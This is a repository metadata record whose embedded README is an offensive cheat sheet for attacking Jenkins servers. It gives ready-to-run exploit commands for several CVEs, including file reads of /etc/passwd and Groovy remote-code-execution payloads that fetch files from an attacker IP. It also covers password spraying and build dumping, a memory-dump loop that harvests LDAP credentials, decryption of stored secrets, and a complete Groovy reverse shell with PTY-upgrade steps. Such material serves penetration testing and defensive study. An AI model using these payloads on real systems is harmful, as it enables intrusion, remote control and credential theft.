{"id":13537631,"url":"https://github.com/gquere/pwn_jenkins","last_synced_at":"2025-05-15T09:05:44.881Z","repository":{"id":37430983,"uuid":"141445563","full_name":"gquere/pwn_jenkins","owner":"gquere","description":"Notes about attacking Jenkins servers","archived":false,"fork":false,"pushed_at":"2024-07-10T11:18:30.000Z","size":178,"stargazers_count":2047,"open_issues_count":1,"forks_count":335,"subscribers_count":46,"default_branch":"master","last_synced_at":"2025-04-11T19:55:32.082Z","etag":null,"topics":["exploit","hacking","jenkins","pentest","rce"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/gquere.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2018-07-18T14:24:27.000Z","updated_at":"2025-04-08T18:53:46.000Z","dependencies_parsed_at":"2023-12-07T10:29:25.848Z","dependency_job_id":"d6ae7495-4605-4d9b-9847-6dbdfb1168c6","html_url":"https://github.com/gquere/pwn_jenkins","commit_stats":{"total_commits":57,"total_committers":5,"mean_commits":11.4,"dds":0.5087719298245614,"last_synced_commit":"9dad5f48fdac62c820d59a7d779263141cdf17e0"},"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gquere%2Fpwn_jenkins","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gquere%2Fpwn_jenkins/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gquere%2Fpwn_jenkins/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gquere%2Fpwn_jenkins/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gquere","download_url":"https://codeload.github.com/gquere/pwn_jenkins/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254310513,"owners_count":22049468,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["exploit","hacking","jenkins","pentest","rce"],"created_at":"2024-08-01T09:01:01.364Z","updated_at":"2025-05-15T09:05:44.843Z","avatar_url":"https://github.com/gquere.png","language":"Python","funding_links":[],"categories":["\u003ca id=\"9eee96404f868f372a6cbc6769ccb7f8\"\u003e\u003c/a\u003e新添加的","Python (1887)","Python","\u003ca id=\"9eee96404f868f372a6cbc6769ccb7f8\"\u003e\u003c/a\u003e工具","pentest","Repositories","Tools"],"sub_categories":["\u003ca id=\"31185b925d5152c7469b963809ceb22d\"\u003e\u003c/a\u003e新添加的","ArgoCD","Defense Evasion"],"readme":"\u003cimg src=\"/pwn_jenkins.png\" width=\"640\"\u003e\n\nRemote Code Execution\n=====================\nJenkins CLI arbitrary read (CVE-2024-23897 applies to versions below 2.442 and LTS 2.426.3)\n-------------------------------------------\n[Jenkins Advisory](https://www.jenkins.io/security/advisory/2024-01-24/), [Credits](https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/)\n\nAuthenticated, can retrieve a complete file:\n```\njava -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node \"@/etc/passwd\"\n```\n\nUnauthenticated or missing Global/Read permissions, can only read 3 lines:\nRead first line:\n```\njava -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i \"@/etc/passwd\"\n```\nRead second line:\n```\njava -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job \"@/etc/passwd\"\n```\nRead third line:\n```\njava -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build \"@/etc/passwd\"\n```\n\n[How to bruteforce the credential encryption key.](https://www.errno.fr/bruteforcing_CVE-2024-23897.html)\n\nDeserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)\n---------------------------------------------------------------------------\nUse [ysoserial](https://github.com/frohoff/ysoserial) to generate a payload.\nThen RCE using [this script](./rce/jenkins_rce_cve-2015-8103_deser.py):\n\n```bash\njava -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' \u003e payload.out\n./jenkins_rce.py jenkins_ip jenkins_port payload.out\n```\n\n\nAuthentication/ACL bypass (CVE-2018-1000861, Jenkins \u003c2.150.1)\n--------------------------------------------------------------\n[Jenkins Advisory](https://jenkins.io/security/advisory/2018-12-05/)\n\nDetails [here](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).\n\nIf the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:\n```bash\ncurl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a\n```\n\n\nMetaprogramming RCE in Jenkins Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)\n---------------------------------------------------------------------------------------------\n[Jenkins Advisory](https://jenkins.io/security/advisory/2019-01-08)\n\nOriginal RCE vulnerability [here](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html), full exploit [here](https://github.com/petercunha/jenkins-rce).\n\nAlternative RCE with Overall/Read and Job/Configure permissions [here](https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc).\n\n\nCheckScript RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)\n---------------------------------------------------------------\n[Jenkins Advisory](https://jenkins.io/security/advisory/2019-03-06/), [Credits](https://twitter.com/webpentest).\n\nCheck if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:\n```bash\ncurl -k -4 -X POST \"https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/\" -d \"sandbox=True\" -d 'value=class abcd{abcd(){sleep(5000)}}'\n```\n*Note: If you get a 403 error complaining about a missing crumb (which is a CSRF protection in Jenkins), you may be able to get the crumb value with a GET request to `https://example.com/crumbIssuer/api/json`. The crumb value shall then be added to the POST request in a `Jenkins-Crumb` Header.*\n\nExecute arbitraty bash commands:\n```bash\ncurl -k -4 -X POST \"https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/\" -d \"sandbox=True\" -d 'value=class abcd{abcd(){\"wget xx.xx.xx.xx/bla.txt\".execute()}}'\n```\n\nIf you don't immediately get a reverse shell you can debug by throwing an exception:\n```bash\ncurl -k -4 -X POST \"https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/\" -d \"sandbox=True\" -d 'value=class abcd{abcd(){def proc=\"id\".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'\n```\n\nGit plugin (\u003c3.12.0) RCE in Jenkins (CVE-2019-10392)\n----------------------------------------------------\n[Jenkins Advisory](https://jenkins.io/security/advisory/2019-09-12/), [Credits](https://iwantmore.pizza/posts/cve-2019-10392.html).\n\nThis one will only work is a user has the 'Jobs/Configure' rights in the security matrix so it's very specific.\n\n\nCorePlague (CVE-2023-27898, CVE-2023-27905)\n-------------------------------------------\n[Jenkins Advisory](https://www.jenkins.io/security/advisory/2023-03-08/), [Credits](https://blog.aquasec.com/jenkins-server-vulnerabilities)\n\nNote that this is only exploitable if using a *dedicated* and out-of-date [Update Center](https://www.jenkins.io/templates/updates/). Therefore most servers are not vulnerable.\n\n\nDumping builds to find cleartext secrets\n========================================\nUse [this script](./dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.\n\n```\nusage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]\n                              [-l] [-r] [-d] [-s] [-v]\n                              url [url ...]\n\nDump all available info from Jenkins\n\npositional arguments:\n  url\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -u USER, --user USER\n  -p PASSWORD, --password PASSWORD\n  -o OUTPUT_DIR, --output-dir OUTPUT_DIR\n  -l, --last            Dump only the last build of each job\n  -r, --recover_from_failure\n                        Recover from server failure, skip all existing\n                        directories\n  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)\n  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for\n                        each request (for legacy)\n  -v, --verbose         Debug mode\n```\n\nPassword spraying\n=================\n\nUse [this python script](./password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).\n\n\nFiles to copy after compromission\n=================================\n\nThese files are needed to decrypt Jenkins secrets:\n\n* secrets/master.key\n* secrets/hudson.util.Secret\n\nSuch secrets can usually be found in:\n\n* credentials.xml\n* jobs/.../build.xml\n\nHere's a regexp to find them:\n```bash\ngrep -re \"^\\s*\u003c[a-zA-Z]*\u003e{[a-zA-Z0-9=+/]*}\u003c\"\n```\n\n\nDumping LDAP credentials on a compromised machine\n=================================================\n\nIf Jenkins is configured to verify user credentials by relaying them to a LDAP (which is retarded, but a common vulnerability in companies) it's possible to recover these cleartext user credentials by dumping the Java process' memory.\nAssuming PID 7 for the Jenkins server the following loop will perform a memory dump of the stack every 30 seconds:\n```bash\nhead -n 1 /proc/7/maps\na=\u003cfirst hex number\u003e\nb=\u003csecond hex number\u003e\nwhile [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep \"uid=\" \u0026\u0026 break; sleep 30; done\n```\nA small delay is important because the garbage collector will regularly free the credential structures.\n\nDecrypt Jenkins secrets offline\n===============================\n\nUse [this script](./offline_decryption/jenkins_offline_decrypt.py) to decrypt previsously dumped secrets.\n\n```\nUsage:\n\tjenkins_offline_decrypt.py \u003cjenkins_base_path\u003e\nor:\n\tjenkins_offline_decrypt.py \u003cmaster.key\u003e \u003chudson.util.Secret\u003e [credentials.xml]\nor:\n\tjenkins_offline_decrypt.py -i \u003cpath\u003e (interactive mode)\n```\n\n\nGroovy Scripts\n==============\nDecrypt Jenkins secrets from Groovy\n-----------------------------------\n\n```java\nprintln(hudson.util.Secret.decrypt(\"{...}\"))\n```\n\n\nCommand execution from Groovy\n-----------------------------\n\n```java\ndef proc = \"id\".execute();\ndef os = new StringBuffer();\nproc.waitForProcessOutput(os, System.err);\nprintln(os.toString());\n```\n\nMultiline shell command that can include pipes, redirects and stuff:\n\n```java\ndef proc = ['bash', '-c', '''your_long_command_here'''].execute();\n```\n\nAutomate it using [this script](./rce/jenkins_rce_admin_script.py).\n\nCommand execution on specific slave\n-----------------------------------\nBy default execution happens on the master node. Use this script to execute on a specific slave:\n```java\nimport hudson.util.RemotingDiagnostics\nimport jenkins.model.Jenkins\n\nString agent_name = 'slave_name'\n\ngroovy_script = '''\ndef proc = ['cmd', '/c', 'cd D:\\\\\\\\ \u0026\u0026 dir data'].execute();\ndef os = new StringBuffer();\nproc.waitForProcessOutput(os, System.err);\nprintln(os.toString());\n'''\n\nString result\nJenkins.instance.slaves.find { agent -\u003e\n    agent.name == agent_name\n}.with { agent -\u003e\n    result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)\n}\nprintln result\n```\n\nReverse shell from Groovy\n-------------------------\n\n```java\nString host=\"myip\";\nint port=1234;\nString cmd=\"/bin/bash\";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()\u003e0)so.write(pi.read());while(pe.available()\u003e0)so.write(pe.read());while(si.available()\u003e0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();\n\n```\n\nI'll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it:\n\n```bash\npython -c 'import pty; pty.spawn(\"/bin/bash\")'\n^Z bg\nstty -a\necho $TERM\nstty raw -echo\nfg\nexport TERM=...\nstty rows xx columns yy\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgquere%2Fpwn_jenkins","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fgquere%2Fpwn_jenkins","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgquere%2Fpwn_jenkins/lists"}